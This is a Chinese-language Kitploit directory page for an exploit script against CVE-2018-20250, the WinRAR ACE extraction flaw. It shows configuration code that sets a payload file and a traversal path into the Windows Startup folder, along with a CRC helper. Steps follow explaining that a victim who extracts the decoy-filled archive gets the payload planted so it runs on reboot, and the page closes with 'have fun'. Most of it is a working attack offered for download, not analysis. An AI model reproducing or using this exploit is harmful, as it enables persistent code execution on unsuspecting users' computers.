Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2018-20250 — 针对CVE-2018-20250的利用脚本,可自动生成恶意RAR压缩包,通过WinRAR的ACE文件提取漏洞实现代码执行。 | Kitploit
工具/GitHubGitHub/aeolustf/cve-2018-20250
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubaeolustf/cve-2018-20250

CVE-2018-20250

针对CVE-2018-20250的利用脚本,可自动生成恶意RAR压缩包,通过WinRAR的ACE文件提取漏洞实现代码执行。

查看仓库
17年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

exp 用于 从WinRAR提取代码执行

poc 作者:Ridter

如何使用?

你只需要安装Python 3.7,准备好你想要运行的恶意文件,设置你想设置的值,这个exp脚本会自动生成恶意归档文件!

  1. 设置你想要的值
root@kitploit:~
... ...

# The archive filename you want
rar_filename = "test.rar"
# The evil file you want to run
evil_filename = "calc.exe"
# The decompression path you want, such shown below
target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
# Other files to be displayed when the victim opens the winrar
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]

... ...

def get_right_hdr_crc(filename):
    # This command may be different, it depends on the your Python3 environment.
    p = os.popen('py -3 acefile.py --headers %s'%(filename))
    res = p.read()
    pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
    result = pattern.findall(res)
    right_hdr_crc = result[0].upper()
    return hex2raw4(right_hdr_crc)

... ...

  1. 运行exp,exp会自动生成test.rar

  2. 如果受害者打开test.rar,他会看到文件hello.txt和world.txt,你也可以添加更多文件,更有吸引力的文件。

  1. 当他解压文件时,受害者的用户启动目录会多一个名为hi.exe的文件,实际上它是calc.exe。当他重启电脑时,hi.exe会运行。

祝玩得开心!:)

下载工具